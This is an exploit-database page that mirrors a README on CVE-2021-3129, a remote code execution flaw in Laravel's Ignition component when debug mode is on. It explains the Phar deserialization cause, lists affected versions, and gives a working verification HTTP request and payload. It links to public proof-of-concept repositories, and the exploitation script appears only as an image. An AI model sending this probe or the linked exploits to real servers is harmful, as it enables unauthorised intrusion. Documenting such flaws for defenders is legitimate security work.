Sploitus

Exploit for CVE-2021-3129

githubexploit · 2023-03-11

Exploit Code

README27 lines
## https://sploitus.com/exploit?id=7391B704-6E84-5129-A413-83DD4C822DCA
# CVE-2021-3129  
Laravel RCE CVE-2021-3129  

# Vulnerability Overview  
When Laravel is in Debug mode, due to the unsafe use of the Ignition component by Laravel itself for the `file_get_contents()` and `file_put_contents()` functions, attackers can trigger Phar deserialization by sending malicious requests or creating malicious log files. This ultimately leads to remote code execution.  
# Affected Versions  
Laravel <= 8.4.2  

# Vulnerability Verification  
A 500 error indicates that the vulnerability exists.  
```
POST /_ignition/execute-solution HTTP/1.1  
Host: 192.168.24.153:8888  
Accept: application/json  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 133  
```  
`solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null`  

# Exploitation Script  
![Image](https://github.com/keyuan15/CVE-2021-3129/blob/main/img/Pasted%20image%2020230311223255.png)  

# References  
[[CVE-2021-3129] Laravel Debug Mode RCE Reproduced | tyskill’s Blog](https://tyskill.github.io/posts/cve_2021_3129/)  
[SNCKER/CVE-2021-3129: Laravel Debug RCE (github.com)](https://github.com/SNCKER/CVE-2021-3129)  
[zhzyker/CVE-2021-3129: Laravel <= v8.4.2 Debug Mode: Remote Code Execution (CVE-2021-3129) (github.com)](https://github.com/zhzyker/CVE-2021-3129)